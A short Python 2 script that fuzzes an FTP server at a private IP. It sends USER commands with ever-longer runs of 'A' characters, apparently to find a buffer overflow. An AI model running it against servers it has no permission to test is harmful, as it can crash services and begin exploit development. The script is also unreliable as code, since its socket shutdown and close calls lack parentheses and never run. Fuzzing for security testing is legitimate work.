#!/usr/bin/python

import socket

host = '10.1.10.34'
port = 21

def fuzz(payload):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.recv(2048)
  s.send(payload)
  s.shutdown
  s.close

print "[*] Fuzzing {0}:{1} ...".format(host, port)
for i in range(1, 100):
  name = "A" * (i * 0x10)
  command = "USER {0}\r\n".format(name)
  print "[*] Username {0} chars, Command {1} chars...".format(len(name), len(command))
  fuzz(command)